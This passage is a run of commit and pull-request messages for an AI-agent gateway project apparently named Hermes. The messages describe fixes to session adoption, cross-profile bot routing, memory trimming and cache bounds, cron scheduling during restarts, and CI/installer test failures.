mount into not_found for non-native readers, already-live sessions and rows the
owner cannot adopt (20 regressions across authority/replay suites). Resume now
adopts such a row only when adopts_client_history says the native owner can;
everyone else keeps the read-only history mount.
Review folds on #147802:
- client_label also refuses bundled platform plugins (teams, irc, line, ...) and
  curator/batch/homeassistant, which the enum-only check let adopt as writable.
- hermes sessions adopt pre-filters out refused labels (subagent/cron bulk) instead
  of resolving every routeless row (0.9s -> 6.6s on an 18k-session store).
- handed_off_ref accepts an adopted phone chat, whose created_source keeps the app label.
adoptable_sessions validated each row with no subject, so a phone chat stamped
with the dashboard login (basic:admin) was dropped although the host owner the
adoption resumes as can adopt it. Judge rows for host_owner_subject(). The test
now also registers Platform(mobile) first: a routeless row with that label still
adopts while the hermes-mobile plugin is loaded.
A metadata read (session.info) before session.resume, even on the owner own
connection, mounts the row read-only; resume then declined adoption and
prompt.submit answered session_read_only, while hermes sessions adopt counted the
read-only resume as adopted. restore_local_session now promotes a history mount
in place, as restore_api_session already does, so its viewers keep their
subscriptions, and adopts_client_history accepts that case.
A profile owning a bot on one platform but route-only on another resolved no
transport for the routed platform: async-delegation completions, heartbeats and
goal/marker notices sat pending forever with no log.

The borrow is per destination, not per platform. _delivery_adapter_for and
_resolve_injection_adapter fall back to the primary's transport only when the
most specific default-bot route matching the source's chat names that profile
and it owns no bot on that platform. Platform-only lookups (_adapters_for_profile,
send_message, the platform-events API) stay fail-closed, so a satellite cannot
post to an arbitrary chat with the primary bot. A held completion lane warns
once per outage.
A session routed through another profile's bot (profile_routes with bot_profile) never got its
background delegate_task / process completions:

- The secondary bot's message handler scoped the event under the BOT's profile, so the bot
  profile's authority admitted the turn while the route lived in the runtime profile. The wake's
  automation admission then found no committed turn on the runtime's route (not_found) and the
  completion retried forever. The handler (and its busy twin) now scope under the identity's runtime
  home, as the primary's handler already does; authorization still reads the transport home.
- The FIFO drain rebuilt the turn's source through restore_provenance, which restored the adapter
  ref but not the RoutingIdentity, so sessions.transport_profile was never persisted and every
  restored session lost the receiving bot. restore_provenance now re-pins the identity.
- _resolve_injection_adapter looked the platform up in the runtime profile's adapter map; it now
  reads the pinned transport profile like _delivery_adapter_for (idea from #140009 by @kouyichi).

Co-authored-by: qby <qby324@163.com>
Review should-fix 1: only route creation wrote transport_profile, and /reset,
/new and switches copy it, so every routing entry saved before the column
existed stayed NULL forever and a bot_profile chat (tg bot -> work runtime)
still lost its background results across a restart. The next inbound turn on
such a route now records the bot its validated ingress names; an inferred
identity (no transport evidence) never fills it with the primary-bot guess.
Review should-fix 2: the warning named the runtime profile and promised
delivery "until one connects", which never happens for a route with no saved
receiving bot. It now names the saved bot that is down, or says the route has
no saved bot and is fixed by the next message in that chat.
The warning-text change read self.config directly. A runner built without
__init__ (the completion-delivery budget tests) has no config attribute, so
the warning raised AttributeError and failed the delivery check, where it
should have held the completion. The sibling read in the same mixin
(_completion_scope) already goes through getattr(self, "config", None).
kvnloo review: run_inbound canonicalizes hand-built internal/voice sources, and
resolve_identity pins transport_profile=<primary> with transport_inferred=True.
_intake_adapter_for treated that guess as the receiving bot for every platform but
LOCAL, so _delivery_adapter_for returned the primary's adapter before the
satellite route gate: an unrouted ops chat (Discord 999) and an ops chat whose own
Telegram bot is down both answered through the default bot. Same hole on main.

An inferred transport now has no live provenance on every platform (generalizing
the LOCAL carve-out from #139060): intake is None, and delivery resolves the
runtime owner or the routed-chat borrow.
Review finding (P2, #147753): an inferred transport persisted at session
creation/recovery became trusted after restore. resolve_identity guesses the
primary profile when nothing names the receiving bot (transport_inferred), but
_route_create, the recovered-row entry, the sessions-row create kwargs and the
peer recorder all saved that guess through transport_profile_of(). After a
restart restore_identity pins it as a real receiving bot, and
_resolve_injection_adapter (which now trusts pinned identities) handed an
unrouted satellite chat the primary bot.

- transport_profile_of() itself drops inferred messaging transports, so every
  durable writer (creation, NULL backfill, recovered rows, create kwargs,
  peer upsert; /new /reset /switch copy the entry's value) is safe by
  construction. known_transport_profile() folds into it. LOCAL keeps its
  inferred launch-profile transport: it has no bot and that value is the
  session authority (#139060; test_local_producer_admission pins it).
- Rows shipped releases already wrote can hold the primary guess (main's
  _route_create saved transport_profile_of(source) for hand-built
  internal/voice sources canonicalized without an adapter since 8ab22a95b1).
  _restored_transport_trusted: a restored (no live transport) primary
  transport for another runtime is trusted for injection only where a
  default-bot route sends that chat to that runtime; otherwise injection
  resolves exactly as on main.
A unified agent+desktop package's card switch took its checked state from
the agent half alone, while a click actuates both halves. After the
v0.22.5 update a package's desktop half ships opt-in (off), so the card
read On while the plugin's pane was missing, and clicking it turned the
agent half off instead of bringing the pane back.

The switch is now On only when every half it actuates is on, so a
diverged package reads Off and one click turns both halves on.

Fixes #146031
Shed only entries no reader can use, or the least recently used past a count far
above any real working set; nothing a live session needs is ever dropped.

- models_catalog_static: _PROVIDER_MODELS fills its xAI rows from the
  process-wide models.dev copy on the first xAI lookup (or a whole-table walk),
  never at import. main parsed the catalog at import and threw it away; an idle
  gateway now never parses it, and a reader parses it exactly once.
- model_metadata: the per-credential /models memo sweeps expired entries on
  write (rotated keys left one catalog each); the Codex OAuth context memos keep
  the newest 128 token fingerprints, the bound codex_service_tiers already uses.
- models_pricing: _cache_catalog drops catalogs past their deadline, as the
  reader already does for the one key it reads.
- skill_commands: per-(platform, profile, project) command maps are one LRU of
  64 scopes across all three tables; an evicted scope rescans on next use.
- auxiliary_client: async semaphores are held per event-loop object and a closed
  loop's table is dropped on the next acquire (main keyed by id(loop) and kept
  every loop forever, and a weak key cannot work: a semaphore that made a caller
  wait binds its loop). Checked on stdlib asyncio and uvloop 0.23.
- agent_runtime_helpers: the sanitizer-heal log counters are an LRU of 1024
  sessions; the told-once set and pending notices are never evicted.

Helpers live in agent/cache_bounds.py and agent/model_metadata_memo_bounds.py;
model_metadata.py does not grow.
Review fixes for the bounded-cache PR:
- models_pricing: catalog + deadline are expired, swept and published under one
  lock, so a refresh landing between a sweep's two pops can no longer keep its
  catalog without its deadline (Nous 300 s policy TTL never expiring).
- model_metadata memos: endpoint sweep+publish and both Codex writers
  (evict + context/max publish) hold one MEMO_LOCK.
- skill_commands: the per-scope maps share one recency order, touched on every
  use, so a scope used for dispatch no longer loses its /reload-skills baseline
  and reports unchanged commands as added.
glibc gives each new thread its own malloc arena, up to 8 x CPU cores, and keeps
every arena's freed pages. A long-lived gateway churns through ~1,100 short-lived
Python threads an hour (tool heartbeats, turn watchdogs, stream monitors, pipe
drains) on top of native pools (the relay plugin's tokio runtime, anydoc's rayon
pool), so it fills every slot: 157 of 160 arena heaps on a 20-core host after 10 h.

runtime.malloc_arena_max (default 4) sets mallopt(M_ARENA_MAX) in-process at
gateway bootstrap and web_server.start_server (serve / dashboard), next to the
existing RLIMIT_NOFILE floor. In-process rather than MALLOC_ARENA_MAX in the
unit/plist/spawn env, so commands the server runs (terminal tools, MCP servers,
builds) keep glibc's default, and every launch path (systemd, launchd, Desktop,
detached auto-start, docker) is covered by one call. An operator's own
MALLOC_ARENA_MAX / glibc.malloc.arena_max tunable wins; 0/false/null keeps
glibc's default; non-glibc hosts are untouched.
CI runners map fewer arenas than a 20-core host; assert "the cap of 2 was not
applied" (> 2 heaps) instead of a fixed >= 12.
Review fixes for the arena cap:
- serve/dashboard/gateway apply runtime.malloc_arena_max at hermes_cli.main import, right
  after the profile .env and config load and before logging/plugins start any thread
  (glibc latches its arena limit once threads allocate; the old serve call ran after
  plugin discovery). Legacy python -m gateway.run and cli.py --gateway apply it first too.
- MALLOC_ARENA_MAX / glibc.malloc.arena_max present only because Hermes loaded the
  profile .env (absent from /proc/self/environ) is applied via mallopt with the
  operator's number; one present at exec is already glibc's and wins.
- exact tunable-key match, C-int range check, glibc capability gate (gnu_get_libc_version
  + mallopt) instead of sys.platform; tests gate on glibc and drive the real entry point.
A gateway live session stamps its replay frames under SessionEvents' private key. Nothing
released that key when the session ended: a deleted/pruned session's ring and a closed one's
stayed in tui_gateway.event_replay until the shared 64-session FIFO cap evicted them, and
their seq/watermark counters stayed for the life of the process (#137087 covered only the
tui_gateway teardown path).

- event_replay.release_key purges a private key's ring and counters; a GC finalizer that
  cannot take the lock queues the key for the next lock holder.
- SessionEvents releases its key when the object goes (retired or replaced LiveSession).
- A settled last-viewer close releases the ring at once (the LiveSession stays resumable;
  a later publish/attach starts a new epoch, as after FIFO eviction). A plain detach keeps
  the ring, so reconnect replay is unchanged.
A GC finalizer can run on a thread that already holds _replay_lock; release_key must queue the key
instead of waiting, and the next lock holder purges it.
An addressed completion / watch event whose owner session is not live was
discarded by whichever poller drained the shared completion queue first, so a
session that resumes with the same session_key never got its
notify_on_complete wake. Park such events for a bounded window (TTL plus
total and per-owner caps) outside the queue, and let the owner's own poller
claim them through the same ownership gate delivery uses. The closing
session's own shutdown drain parks them too (it is _finalized by then).

Squashed from PR #129073 (5 commits) onto current main.
An async delegation completion whose owner session is not live was
requeued forever by the previous commit (every live poller spins on it)
or, on main, dropped with only return_completion_offer: the orphan sweep
skips a row whose owner process is alive, so it stayed pending with zero
attempts until a restart (#118653). Park it like a process completion;
a startup replay (restored) is left to the sweep, which re-offers it.
When the park lets go of a delegation (TTL, cap) its offer goes back to
the durable ledger instead of vanishing.

The owner check runs on a snapshot outside the park lock (it may read
the lineage store) and an event is claimed only if it is still parked.

The shutdown drain now hands its deferred events back in a finally, and
a snapshot whose routing raises hands the rest of its events back
instead of dropping them (#140718 loss path 1).
The park (list, lock, TTL, caps, claim) lives in tui_gateway/notification_park.py
as plain functions taking the caller's ownership predicate, imported inside
the poller loop: the loop body keeps the global names it had on main, which
tests that rebind it onto a closed globals dict rely on.

Tests: the salvaged per-helper tests become four behaviour contracts (the
resumed owner gets what a foreign poller could not deliver, for a process
completion and a live delegation; the finalizing owner's drain parks; a
delegation the park lets go of returns to the ledger and a startup replay is
never parked; the shutdown drain hands back what it could not route), all red
on origin/main. The tests the first salvaged commit appended to
test_launch_db_home_override_race.py are folded into these.
Review of #147751, should-fix 1: admission to the park was first come, first
served, so a closed session whose watch_patterns process matched four times
filled its per-owner slots and the process completion that followed was
refused and dropped at DEBUG (likewise four chatty sessions refused every
other session's completion via the 16-slot total). A completion or async
delegation now displaces the oldest watch_*/heartbeat notice, same owner
first (only a same-owner victim frees a per-owner slot); progress notices
never displace anything.

Should-fix 2: a live delegation expiring out of the park was logged at DEBUG,
where main logged that loss at WARNING; it is WARNING again. The docstrings no
longer claim the offer "goes back to the ledger": return_completion_offer only
clears the sweep offer, and the orphan sweep skips live owners until the
ledger re-offer lane lands, so on its own the row waits for the next process
start.
Review should-fix 3 (interaction with #147748): the orphan sweep cannot see
the notification park, so once a parked live delegation's row had been idle
for a claim lease it read the copy as lost, logged "Re-offering ... lost" at
WARNING and queued a duplicate copy every lease until the owner resumed.

park() now marks the copy held (async_delegation.mark_copy_held) inside the
routing step, before the poller's release of its dequeue hold, so the copy is
never neither queued nor held. Every mark ends exactly once when the copy
leaves the park: after the claiming poller has routed it (unhold, in the
poller's finally, so a re-park takes its own mark first), or when the park
lets go of it (TTL expiry, clear). An expired copy is then re-offered by the
sweep as before.
The poller claimed parked events before the guarded try, so an exception from
take_ready between the claim and the try leaked the claimed copies' held marks,
and the ledger sweep then treated those delegations as live forever. Taking the
dequeue inside the try puts the claim under the same finally that releases it.
A finished background delegation stays in tools.async_delegation._records (up to 50
completed records), and each kept the contextvars.Context copied at dispatch. That
Context is only needed to force-finalize a stalled ACTIVE record, but while retained it
pins the dispatching turn's bindings: a closure whose cell holds the parent AIAgent with
its conversation, interrupt Events and callbacks, after the session closed and the agent
cache evicted it. Drop it when the record turns terminal, alongside the interrupt/progress
closures _finalize already clears.
A finished record (active_count()==0) only proves bookkeeping ran; the
worker thread can still be inside the Contexts it copied. Shut down the
executor with wait=True before gc.collect so the assertion observes real
teardown, and drop the polling sleep (HX013).
A messaging reply's adapter task (_process_message_background) pops and runs the post-delivery
callbacks a turn registers on its delivery adapter: the background-review release, temp-bubble
cleanup and the deferred /goal and /loop verdict notices. Desktop/TUI/CLI turns run through the
session authority's drain (execute_admission) with no such task, so on LocalSessionAdapter nothing
ever ran or popped them:

- the "Goal achieved"/"Goal continuing" verdict the gateway judged never reached a local viewer;
- the per-route slot kept every local session's last TurnContext alive until restart, and with it
  that turn's AIAgent (after the agent cache evicted it), history and result messages.

execute_admission now moves a non-native turn's callback off the adapter slot onto its admission,
and the drain runs it once the turn settled and its reply went out (after deliver_settled), or on
the unsettled and cancelled exits. Native messaging turns keep running them in their adapter task.

Sibling per-session state the local adapter/authority never shrank on delete: retire_live_sessions
now drops the deleted session's LocalSessionAdapter source, frozen policy and post-delivery slot and
its launch_sources entry; a detached conversation that returns to its chat drops its detached
admission source.
Test doubles and webhook sinks without the post-delivery seam hold no callback: the take is a no-op for
them instead of failing the turn. The deleted-session cleanup moves into session_local.forget_live_session
and runs only for a live session the delete retired.
A native admission whose adapter task registers as the delivery waiter after the drain claimed the
turn is still sent by that task, which runs the slot after its own send. The drain now puts the slot
back on the adapter for it instead of running it before the reply, and never takes it from a turn that
already has its waiter.
Only a native waiter (the messaging adapter task admit_message parks) runs a turn's post-delivery slot
after its own send. The API server waits on its admission through authority.waiters as well, so keying
the hand-off on any waiter left every API conversation's last turn pinned on APIServerAdapter; key it on
native_waiters, and hand the slot back when deliver_settled passes a late native waiter the reply.

Input committed straight into the FIFO of a closed local conversation that left memory (a producer, a
recovery path) restores it from its receipt before the drain is scheduled.
The drain took the post-delivery slot by live.route read in the turn's finally, so a rebind
mid-turn looked under the new key and stranded the callback the turn registered under its own.
The key is now captured when the turn starts.

Deleting a session forgets its local-adapter state only for LOCAL sources, so a runner without
an adapter map (non-local test doubles) no longer raises on delete/prune.

Retiring closed local sessions from authority.sessions (and the _schedule restore) moves to a
follow-up PR.
The per-message token-estimate memo pins every string it fingerprints and was bounded only by a
4096-entry FIFO: a hit never refreshed an entry, so a running conversation's estimates were evicted by
dead sessions' bodies, two concurrent 1M-token conversations (2 x 2403 entries) missed on every
message (0% hit, 73 ms per estimate instead of ~7 ms), and the pinned bytes had no bound at all
(4096 entries of any size).

Now the memo is an OrderedDict in model_metadata_token_memo: a hit moves its entry to the end, and
inserts evict from the front past a retained-bytes budget (pinned string bytes + ~120 B of fingerprint
structure per string leaf; 64 MiB default, a real 1M-token history retains ~9 MB) or 65536 entries.
Insert/evict/forget share one lock so the byte count stays exact. Eviction never changes an estimate.
A conversation whose own pinned strings exceed the 64 MiB budget (an image-heavy history of base64 data
URLs) was evicting its oldest messages on every pass, so each estimate missed on almost every message
(96 MB image history: 496 of 505 messages recomputed per pass, 17.9 ms instead of 2.1 ms).

Both bounds (retained bytes and entry count) now stop at the first least-recently-used entry looked up
within _ACTIVE_WINDOW_S (60 s). A running conversation overshoots the budget instead of thrashing; the
overshoot is shed by the first insert after it goes idle. Protected entries pin strings the running
conversations hold anyway. The lookup stamp lives on the pins list (MemoPins, a list subclass), so the
(pins, text, images) entry shape is unchanged.
Review finding (P2): lookup reordered the memo without the eviction lock, so a hit between the
writer's idle check of the oldest entry and its pop moved that entry to the end and the pop took
the next, recently used one.
Inserting it evicted every idle entry that fitted, then stayed over the budget itself. It is now
recomputed instead; the dead-bodies test also asserts the active message stays a hit.
The messaging-gateway housekeeping tick runs trim_memory() every cooldown
(60s by default), and every call forced a full gc.collect() before
malloc_trim(0). On a long-lived gateway whose live heap is hundreds of MB
that collection holds the GIL for 400-600ms, freezing every thread in the
process — platform adapters, SSE streams, in-process API requests — once a
minute, for the ~8MB of RSS that regrows before the next tick (#139763).

trim_memory() now takes collect=; the tick passes collect=False, so that
lane only asks the allocator to return already-free arenas and leaves
cycle collection to CPython's generational GC. The pressure lanes (agent
close, large tool result, post-compression) keep the collect-then-trim
default, where a collection is what makes the trim return anything. The
trim log line gains collected=<bool> so the lane in force is visible.

The TUI idle reaper's periodic lane is deliberately unchanged: it trims
only when no session is busy or attached, and its comment records the
forced collection there as intentional.
Fixes #146375.

agent/context_compressor.py calls trim_memory(reason="post-compression")
after every successful compaction, and trim_memory() always ran a full
gc.collect() before malloc_trim(0). With dashboard.turn_isolation: false
(still the default), the agent turn runs in the same process as the
dashboard's event loop, so a gc.collect() over a large heap holds the
GIL for seconds -- the reporter measured 11 trims over 5s (5-11.6s) in
one week, 8 of them coinciding with "event loop stalled" warnings, with
WebSocket frames queuing and the UI not streaming for the duration.

Verified the proposed fix #2 ("run the trim off the agent thread") would
not help: the reporter's own stack dump already shows trim_memory
running inside a background compaction thread (_run_summary_dispatch),
and gc.collect() is stop-the-world across the whole interpreter
regardless of which thread calls it -- confirmed directly by measuring
a heartbeat on one thread while gc.collect() ran on another: the
heartbeat's worst gap matched the collection's own duration almost
exactly, whichever thread held the GIL. Moving the call to a different
thread changes nothing; the GIL is process-wide.

Implemented the issue's proposed fix #1: added an opt-out collect
parameter to trim_memory(), reviving the same signature already
designed (and apparently working) in #139798 -- closed unmerged by its
author "to stay under the open-PR limit" for a different call site
(gateway housekeeping) that this change does not touch. #139798's own
design note said pressure lanes like post-compression should "keep the
default" (collect=True), reasoning that a collection is what makes the
trim return anything measurable. Measured directly, with the same
reference-cycle heap construction #139798 itself profiled against:
malloc_trim(0) alone (collect=False) still returned real pages in ~3.5ms
versus ~129ms with the collection, and the compacted-away message dicts
this trim targets (replaced list entries, not deliberately-cyclic
structures) are typically already reclaimed by Python's own reference
counting before the trim runs -- so the full collection's marginal
benefit here is smaller than #139798's note implies, and the stall cost
on the default (in-process) configuration is severe. Only the
post-compression call site is changed; #139798's existing gateway
housekeeping path is untouched by this PR, so no conflict with either
reviving that closed PR separately or merging this one standalone.

Scope note: the issue's secondary suggestion (apply the same to the
forced agent-close trim in run_agent.py) is not included here, to keep
this change targeted at the specific, stack-trace-confirmed call site.

Verified directly: measured trim_memory() against a real reference-cycle
heap with a concurrent heartbeat thread standing in for the dashboard
event loop. collect=True: 129.2ms duration, 77.2ms worst heartbeat gap.
collect=False: 3.5ms duration, 13.1ms worst heartbeat gap -- roughly a
37x reduction in both the trim's own duration and its stall on a
concurrent thread.

Added 3 regression tests to the existing tests/hermes_cli/test_mem_trim.py,
following its established gc.collect/_malloc_trim monkeypatch pattern
from the adjacent test_success_collects_then_trims: collect=False skips
gc but still trims; every existing caller (no collect= argument) keeps
the full collection, confirming this is additive, not a behavior change
for anyone else; and the log line surfaces collected=False, matching
Verified as a genuine regression by reverting just the trim_memory()
signature change and confirming both new collect=False tests fail with
TypeError (the parameter genuinely doesn't exist without the fix).

11/11 pass in the modified test file; 299/299 pass in the full
tests/agent/test_context_compressor.py (no regression).
On a long-lived gateway every agent close (idle-cache eviction, /new, session end) forced
trim_memory(force=True), and its gc.collect() walks the whole shared heap with the GIL held:
264-760 ms on the live 3.6M-object gateway, about once a minute, freezing every other
session's thread, adapters and streams. The TUI turn-completion trim runs in the same
process after every TUI/Desktop turn.

Both now pass collect=False: what an agent close or a finished turn drops goes by reference
counting, cycles are left to CPython's automatic collection, and the next trim returns their
pages. The forced collection stays on the idle reaper (runs only when every session is
quiescent) and agent-cache pressure eviction (memory is the emergency there).
The two salvaged commits each added a collect=False / default-collects pair to
test_mem_trim.py; keep one pair. New tests/agent/test_close_memory_trim.py pins the
agent-close behaviour (red on e99ab8c: gc.collect called once).
Each turn's DurableTurnLease kept owner -> scheduler handle -> bound method -> owner and
lease <-> liveness-watchdog cycles (delegate heartbeats too), and those cycles held the agent.
Measured on a scratch gateway after 18 delegation turns and a 240 s idle: 17 closed AIAgents
(each with its OpenAI client and compressor) were reachable only through these cycles. With the
timer trims no longer forcing a full collection, Python 3.14's incremental collector (which only
advances on allocation) left them resident on a quiet gateway.

A cancelled or stopped periodic handle now drops its callback and context, and join_threads
drops the lease's watchdog and handles.
The housekeeping tick and the TUI idle reaper now call trim_memory_when_idle: allocator trim
only, plus one full gc.collect() once no turn has run in this process for 5 minutes (again
after a later agent close re-arms it). Nobody is waiting then, so the pause harms no one, and
whatever cyclic garbage remains (openai SDK resource cycles) is still reclaimed. The quiet
clock is the existing process-wide live-turn counter in review_idle_queue.
collect=False trims stamp their own clock; _last_trim_monotonic now stamps collecting trims
only, so a housekeeping/agent-close trim cannot push agent-cache pressure eviction's forced
collection inside the 5 s force floor (Greptile review).
The two per-session status-bar meters read $currentUsage, which MERGES instead of replacing (mergeUsage), and no switch path repainted it: the cold-resume preview reset only cleared compressions. cache_hit_pct and avg_tps are omitted from a frame whenever the session has no cache reads or no latency history - the first turn of a resumed conversation reports cache_read_tokens == 0 - so the previous conversation's figures survived the merge indefinitely and the meters displayed another session's numbers for as long as the newly opened session ran no turn.

Clear both derived rates in the cold-switch preview reset, next to compressions. A same-session re-resume (retry, profile swap) keeps them: nothing there is stale, and blanking the meters would be the inverse defect of #140011. The token counters are untouched - the stored-row repaint owns those a moment later.

Refs #146430
Switching sessions in Desktop left the previous session's cache-hit rate
and tokens-per-second painted in the status bar until a message was sent
in the new one (Discord report). The status bar reads one global usage
atom, and every switch MERGED the new session's snapshot into it, so any
readout the snapshot lacked kept the old session's value. The canonical
gateway's resume / session.info snapshot also carried no usage at all, so
nothing ever replaced them on the local path.

- Desktop: a warm switch paints the session's own cached usage reading
  at once (each session already keeps one, updated by every usage event);
  an authoritative resume snapshot replaces instead of merging. (The cold
  switch clear is the previous commit, salvaged from @kouyichi.)
- Gateway: resume and session.info snapshots carry the resident agent's
  status-bar usage (tui_usage of usage_stats), so reopening a session
  after an app restart shows its real cache hit and t/s. Agentless
  sessions send none rather than zeros that would erase the last reading.

Fixes #146430
Review finding on #147828: after a gateway restart a session has no
usage reading in its runtime cache, so switching away and back painted
zeros over the stored-row totals the cold open had restored. Fall back
to the stored row's totals instead.
Ported from #147837 (@Adolanium): when no agent has called the model yet
(gateway restarted, or the agent was built but not used), the resume /
session.info snapshot answers from the stored session row, so an old
session shows its own cache hit rate instead of a blank. Latency is not
stored, so t/s stays blank until the session's next reply.

Co-authored-by: Adolanium <94890352+Adolanium@users.noreply.github.com>
Review on #147828: the stored-totals fallback looked the session up in
the Recents list only, so a cron or messaging session reopened warm
without a usage reading still showed zero tokens. Use the stored row the
resume path already resolved (Recents or the owner-resolved row) instead
of searching Recents again.
#147819 raised the limits to 65,536 entries / 64 MiB, so closed sessions could hold more than main
said 4,096 entries ever did. Both limits only evict entries idle for 60 s, so lowering them to 4,096 /
16 MiB costs a running conversation nothing.
Follow-up to #147753 review (r4 should-fix 1, r3 nits 1, 2, 4).

- _intake_adapter_for / _delivery_adapter_for apply the same read rule as
  _resolve_injection_adapter: a restored primary-profile transport for another
  runtime names the receiving bot only where a default-bot route sends the chat
  there (_restored_transport_trusted). Rows older releases saved with the guess
  no longer let legacy auto-resume, heartbeat restore, plugin injection or plugin
  messages answer an unrouted chat, or a profile whose own bot is down, through
  the primary bot. API_SERVER is exempt: its shared listener is pinned by
  construction (session_api._pin_api_identity). LOCAL follows the rule: the
  runtime profile's own LocalSessionAdapter answers, as on a live turn (#139060).
- The CLI->platform handoff source is canonicalized with the queuing profile as
  its transport, so the turn authorizes against that profile's allowlist and the
  saved receiving bot is a fact, not the primary guess.
- The startup-restore drain logs a dropped event at WARNING.
The API-server exemption from the restored-guess rule missed the other
shared-listener mirror: a secondary profile's /p/<profile>/ webhook session
legitimately saves the primary listener as its transport, and after a
restart that saved value was refused, so its delivery resolved to None
where main delivered through the primary webhook listener. Both mirrors
(SHARED_LISTENER_MIRROR_PLATFORMS) are pinned by construction, so both are
exempt.
Every HEAD -> NEXT install/update E2E leg (Linux, macOS, Windows) failed with
"Running commit <HEAD> does not equal expected <NEXT>". The synthetic NEXT
commit adds only a marker file, so since 7a954418ce `hermes update` keeps the
packaged desktop app ("no desktop build input changed"), and that app keeps
naming the commit it was built from by design.

The smoke now accepts the app reporting NEXT's parent only when the installed
commit is a source checkout whose single change from that parent is the
synthetic marker file. Any real commit still requires the app to report it,
so a stale app after a real desktop change stays a failure.
"Validate pinned bundle transitions" ran `npm ci` on the runner's system Node
22 / npm 10, which the root engines (`node >=26`, since 4d5c6cfb0c) refuse
with EBADENGINE. The job now sets up the locked toolchain via setup-pm like
every other job in the install E2E workflows. The stable release calls this
workflow, so the red would fail a release attempt.
`hermes chat` attaches to the profile's `gateway run`, which keeps serving after
the client's /exit, so leftover_processes() already exempts it. Since
2a845db458 (perf(process): an idle supervisor stays for a 30 s grace) that
gateway's owner-death supervisor also stays up to 30 s after the gateway's last
owned command, past the 15 s leftover poll, and cli/turns reported it as a
leak. Its stdin write end is held only by the gateway (checked via /proc), so it
is the gateway's, not a CLI leak, and it still exits on its own after the grace.

Exempt an owner-death supervisor only while it watches a live exempted gateway's
process group (is_owner_death_supervisor + its pgid argument); one whose owner
is gone, or the CLI's own, is still reported.
#147681 (13bd44e4a4) keeps every registered gateway connected for the
window's life, This device included when a remote is primary, so a
remote-mode Desktop with Hermes installed now starts its own local gateway.
The spec still asserted "the client spawned no backend of its own" and "no
client-side state.db", which made Desktop core E2E (Linux) red on main.

Keep the contract that matters: the socket dials the remote backend, the turn
persists in the backend's state.db, and the turn never persists client-side.
The client may hold at most This device's one kept gateway.
Two deliberate cron contract changes on main left the soak's oracle behind, so five of its
six cells failed in the release E2E:

- f656543e03 (fix(cron): a manual run is an extra fire, never the scheduled one): a run-now
  ahead of the pending slot leaves next_run_at and repeat.completed alone. The model still
  re-anchored an interval job on the triggered fire and counted it against repeat, so the
  every-2h job expected last-run+2h (22:10:40) while the store correctly kept its slot (22:01).
  The module docstring already stated the right rule ("manual runs never consume or re-stamp
  the next scheduled occurrence"); the model now follows it for triggers and direct runs alike.
- ee394bd921 (feat(cron): ... each job picks its missed-run policy): slots an outage collapsed
  into one catch-up run are booked as one 'missed xN' ledger row. The ghost-row check now admits
  'missed' alongside failed/unknown/skipped: it is a truthful row for an attempt that never ran.
A restart or `hermes update` drain waits on in-flight turns (up to
agent.restart_after_turn_timeout) with the in-process ticker's dispatch held
(can_dispatch false, ffc10cc659). The one-shot grace (120s) kept counting from the due
time, so the next gateway's first tick retired a one-shot that came due mid-drain as
'missed x1' without running it whenever the drain outlasted the grace.

Since the Kanban worker learned to wait out a restart's after-turn wait instead of dying
on the cut socket (c480d67e5fa..eace3e056e8, #145954/#146158), an update with a Kanban card
in flight holds the drain for up to OWNER_WAIT_S (180s). The release E2E
test_handoff_from_head.py::test_cron_job_due_mid_update_runs_exactly_once caught it: drain
07:52:48-07:55:54, job due 07:53:55, first new tick 07:56:06 (131s late) -> retired, ran 0
times. Before that series the drain released in 0.6s and the job fired on time.

Each held tick now stamps <cron store>/dispatch_held.json (since = first held tick,
last = latest; it crosses the restart in the same store). A one-shot that came due during
the hold, and was not already expired when it began, counts its grace from the end of the
hold, so it fires once when dispatch resumes. A hold whose gateway never came back within
the grace still retires it (#93526: no stale reminders after downtime).
Review follow-ups on the drain-hold fix:
- An external drain (dashboard drain request) has no time limit, and every held
  tick moved the hold's end forward, so a one-shot due hours into it fired hours
  late (#93526 class). The extension now applies only to a one-shot due within
  1800 s (the default agent.restart_after_turn_timeout) of the hold's end.
- The extension ran before the claim check, so a one-shot already fired just
  before the hold, whose run died and whose claim outlived its TTL, could be
  dispatched again. A claimed one-shot never gets the extension.
`note_held` treated a gap between two successful writes as a new drain, so one
failed write in the middle of a long drain reset `since` and a reminder due at
the start fell outside the window (review finding). The process now keeps its
ongoing hold start in memory per cron store and clears it only when the ticker
dispatches that store again (`note_dispatching`, both ticker loops); the file
continues another process's hold only when that hold is still being stamped.
P.configure rewrites config.yaml after install.sh, which drops the
`update.installs.<id>.channel: main` record the installer saved. The
official-origin sandbox checkout then defaults to stable, so
test_managed_env_hermes_can_check_for_updates resolved the latest
release from api.github.com on the runner's shared anonymous quota and
failed the v0.22.6 release run with HTTP 403 rate limit.

configure() now re-pins main with I.pin_main_channel (the documented
harness helper), which fixes every pm suite that configures after
install. The check also runs behind a dead proxy and asserts it rode
main, so any future GitHub API read fails every run instead of
flaking on quota.
The signed Windows MSIX build fails every run since the [documents] extra
(b357ebbfc4) put python-docx into the bundled payload: its wheel carries
docx/templates/default-docx-template/[Content_Types].xml, and MakeAppx
refuses that package-reserved name anywhere in the layout with 0x8007007b
"The filename, directory name, or volume label syntax is incorrect".

The directory is the unzipped source of templates/default.docx; python-docx
only ever opens the .docx, so dropping the tree from the win32 venv and the
shipped uv-cache keeps Document() working. Any other reserved-name file now
fails payload staging with its path instead of failing the pack anonymously.
sounddevice 0.5.6 (741357733f) ships all three Windows PortAudio DLLs
(32bit, 64bit, arm64, each with an -asio twin) inside every per-arch Windows
wheel; 0.5.5's win_amd64 wheel carried only the 64-bit pair. sounddevice.py
picks the DLL matching the interpreter (`sysconfig.get_platform()` arm64 or
`platform.architecture()`), so the foreign builds are inert, like discord.py's
paired opus DLLs. With the MakeAppx fix in place the signed Windows build got
past packaging and failed `Audit bundle architecture` on these 4 DLLs on both
win32-x64 and win32-arm64 (proof run 41414573197). Exempt exactly those names.
The v2026.7.30 (v0.19.1) desktop keeps its composer editable behind the
"Starting Hermes…"/connecting overlay. The smoke's trial click started
while the overlay was up, and Playwright retries a blocked pointer action
by calling scrollIntoView with end/center/start alignment. That scrolls
the app's overflow-hidden ancestors (chat surface, composer fade), so once
the overlay cleared the composer's centre hit the dock/surface/<html> on
every retry and the click timed out at 120 s (every Windows leg and one
Linux leg from v2026.7.30 in run 41411274160; the recording shows the
layout cycling with a stationary pointer).

Poll a non-scrolling in-page hit test until the composer is topmost, then
keep the trial click as the final interactability check.
The first fix (non-scrolling elementFromPoint wait before the trial click)
was not enough: in install-e2e run 41414755532 the wait passed on every
failing v2026.7.30 leg (the call log has no overlay intercept at all), and
the trial click then failed on its FIRST attempt with <html> intercepting.
